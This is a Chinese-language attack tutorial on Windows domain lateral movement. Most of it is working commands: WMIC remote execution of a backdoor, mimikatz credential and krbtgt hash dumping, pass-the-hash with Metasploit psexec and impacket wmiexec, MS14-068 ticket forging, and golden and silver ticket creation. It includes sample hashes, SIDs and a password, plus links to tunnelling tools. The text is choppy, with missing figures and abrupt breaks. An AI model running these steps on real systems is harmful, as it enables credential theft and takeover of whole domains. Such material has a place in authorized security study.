wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe"
// /node:指定将对其进行操作的服务器
这里如果我预先与目标主机建立了ipc$连接,所以就不需要在wmic指定/user和/password了。
然后,由于wmic执行远程命令没有回显,所以在建立ipc$连接后,使用type命令远程读取192.168.52.138上的执行结果:
type \\192.168.52.138\c$\result.txt
如上图所示,命令执行成功了。
使用WMIC远程执行命令,在远程系统中启动WMIC服务(目标服务器需要开放其默认135端口,WMIC会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,WMIC将无法连接。另外由于wmic命令没有回显,需要使用IPC$和type命令来读取信息。需要注意的是,如果WMIC执行的是恶意程序,也不会留下日志。下面我们介绍一下几个可以用来执行wmi远程命令的工具。
wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。
该脚本是impacket工具包中的一个工具,主要在从Linux像Windows进行横向渗透时使用,十分强大,可以走socks代理进入内网。
下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一些列概念和程序接口,COM提供了一套允许在同一台计算机上的客户端和服务器之间通信的接口。通过DCOM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
首先,攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:
privilege::debug
sekurlsa::logonpasswords
如上图,成功抓取到域管理员的NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63
然后,在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63
成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录(要使用主机名,不能用IP,否则报错):
之后,攻击者便可以利用Windows7跳板机任意访问内网其他机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
在metasploit中,经常使用的模块有:
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload
例:
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set smbuser administrator
set smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 # 完整的Administrator用户的Hash
set smbdomain god
run
下载地址:https://github.com/SecureAuthCorp/impacket
这是impacket工具包里面的脚本我们在之前已经说过了,其还可以指定-hashes选项来进行PTH,十分强大并可以走socks代理。
使用如下:
(proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@192.168.52.138 "命令" python wmiexec.py -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 god/[email protected] "whoami"
我们在渗透测试中,要使用哈希传递攻击,则必须要获取目标机器的管理员权限。如果没有管理员权限,我们不妨用用票据传递攻击(PTT)。
下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
。需要的条件如下:
执行如下命令生成TGT票据:
ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
利用mimikatz将票据注入到当前内存中,伪造凭证:
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
票据注入成功后,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令。如用net use登录域控(WIN-ENS2VR5TR3N):
net use \\WIN-ENS2VR5TR3N
后面利用msf生成木马,可以通过copy命令上传到域控,再通过sc命令执行木马上线木马。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
在域控上操作mimikatz,执行如下命令抓取krbtgt用户的Hash值并获取域sid:
privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid为S-1-5-21-979886063-1111900045-1414766810
然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为administrator:
kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi
kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:
kerberos::ptt ticket.kirbi
kerberos::ptt <票据文件>
此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:
kerberos::tgt
到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7可任意访问域控,可以使用net use进行登录
dir \\WIN-ENS2VR5TR3N\c$
也可以使用psexec,wmi等方法进行远程执行命令了,具体操作不再演示,相比ms14-068,黄金票据可以当做一个按在普通域成员主机上的连接到域控的后门。
白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
如下,我们使用白银票据伪造CIFS服务权限,CIFS服务通常用于Windows主机之间的文件共享。
首先,登录域控,抓取机器账号的Hash:
privilege::debug
sekurlsa::logonpasswords
得到计算机账号的Hash为:f0954d00b21d338aa86051eca90f7f74
(注意是WIN-ENS2VR5TR3N$用户的NTLM-Hash,不是Administrator用户,因为要利用共享服务账号)
然后切换到普通域用户机器Windows 7中,使用mimikatz生成伪造的白银票据:
kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO.com /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt
成功生成了伪造的白银票据,此时进行权限验证。如下,发现已经可以访问域控制器的共享目录了:
dir \\WIN-ENS2VR5TR3N.demo.com\c$ // 机器名要全称,注意是全称
NTLM Relay原理:https://www.jianshu.com/p/13758c310242
Windows系统名称解析顺序为:
本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS缓存/DNS服务器
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
下载地址:https://github.com/fatedier/frp
下载地址:https://github.com/idlefire/ew
下载地址:https://github.com/ehang-io/nps